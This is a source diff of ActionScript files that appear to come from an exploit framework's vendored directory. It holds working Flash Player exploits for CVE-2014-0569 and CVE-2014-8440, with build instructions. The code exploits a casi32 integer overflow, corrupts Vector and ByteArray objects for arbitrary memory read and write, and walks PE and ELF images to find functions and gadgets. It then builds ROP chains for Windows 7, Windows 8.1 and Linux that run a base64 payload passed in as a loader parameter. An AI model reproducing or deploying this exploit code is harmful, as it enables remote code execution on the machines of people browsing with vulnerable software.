private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,114 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Exploit.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.display.Sprite
import flash.utils.ByteArray
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var BYTE_ARRAY_SIZE:Number = 1024
private var uv:Vector.<uint>
private var ba:ByteArray
private var b64:Base64Decoder = new Base64Decoder();
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
private var defrag:Vector.<Object> = new Vector.<Object>(100)
private var ov:Vector.<Object> = new Vector.<Object>(200)
public function Exploit()
{
var i:uint = 0
var j:uint = 0
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
for (i = 0; i < defrag.length; i++) {
defrag[i] = new ByteArray()
defrag[i].length = BYTE_ARRAY_SIZE
defrag[i].endian = "littleEndian"
}
ba = new ByteArray()
ov[0] = ba
ov[0].length = BYTE_ARRAY_SIZE
ov[0].endian = "littleEndian"
for (i = 1; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1014)
ov[i][0] = 0x41424344
}
ApplicationDomain.currentDomain.domainMemory = ba;
// Make ByteArray length 0 so the casi32 integer overflow
// can be exploited
ba.atomicCompareAndSwapLength(1024, 0)
try {
var uint_vector_pos:uint = search_uint_vector()
} catch (err:Error) {
Logger.log("[!] Exploit - Corrupted Vector.<uint> not found")
return
}
// Overwrite uint vector length
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
for (i = 0; i < ov.length; i++) {
if (ov[i].length > 1024) {
uv = ov[i]
Logger.log("[*] Exploit - Corrupted Vector.<uint> found")
} else {
ov[i] = null
}
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
// Methods to use the integer overflow
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0
for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos == 0x41424344) {
return i
}
}
throw new Error()
}
private function read_byte_array(offset:uint = 0):uint {
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
return old
}
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
var old:uint = read_byte_array(offset)
casi32(offset, old, value)
return old
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 1014
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,399 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(10000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -1,285 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code skeleton by @hdarwin89 for other exploits
package
{
import flash.display.Sprite
import flash.utils.ByteArray
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var BYTE_ARRAY_SIZE:Number = 1024
private var defrag:Vector.<Object> = new Vector.<Object>(100)
private var ov:Vector.<Object> = new Vector.<Object>(100)
private var uv:Vector.<Object> = new Vector.<Object>(100)
private var uv_index:uint
private var ba:ByteArray
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
public function Main()
{
var i:uint = 0
var j:uint = 0
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (i = 0; i < defrag.length; i++) {
defrag[i] = new ByteArray()
defrag[i].length = BYTE_ARRAY_SIZE
defrag[i].endian = "littleEndian"
}
ba = new ByteArray()
ov[0] = ba
ov[0].length = BYTE_ARRAY_SIZE
ov[0].endian = "littleEndian"
for (i = 1; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < uv.length; i++) {
uv[i] = new Vector.<uint>(1014)
uv[i][0] = 0x41424344
}
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
for (i = 1; i < ov.length; i++) {
ov[i][2] = stack
ov[i][3] = payload_space
}
ApplicationDomain.currentDomain.domainMemory = ba;
// Make ByteArray length 0 so the casi32 integer overflow
// can be exploited
ba.atomicCompareAndSwapLength(1024, 0)
var object_vector_pos:uint = search_object_vector()
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
var main:uint = read_byte_array(object_vector_pos + 8) - 1
var uint_vector_pos:uint = search_uint_vector()
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
// Overwrite uint vector length
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
for (i = 0; i < uv.length; i++) {
if (uv[i].length > 1024) {
uv_index = i
uv[i][0] = uint_vector_address
break
}
}
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it
// anymore
byte_write(uv[uv_index][0], orig_length)
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
// Methods to use the integer overflow
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0
var next_length:uint = 0
for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos != 0x41424344) {
return i;
}
}
return -1;
}
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
var mem:uint = 0
var mem_first_pos:uint = 0
for (var i:uint = 0; i < limit; i = i + 4) {
mem = read_byte_array(i)
mem_first_pos = read_byte_array(i + 8)
if (mem == pattern && mem_first_pos == 0x41424344) {
return i;
}
}
return -1;
}
private function read_byte_array(offset:uint = 0):uint {
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
return old
}
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
var old:uint = read_byte_array(offset)
casi32(offset, old, value)
return old
}
// Methods to use the corrupted vector for arbitrary reading/writing
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

72
external/source/exploits/CVE-2014-0569/PE.as vendored Executable file
View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

235
external/source/exploits/CVE-2014-8440/Elf.as vendored Executable file
View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
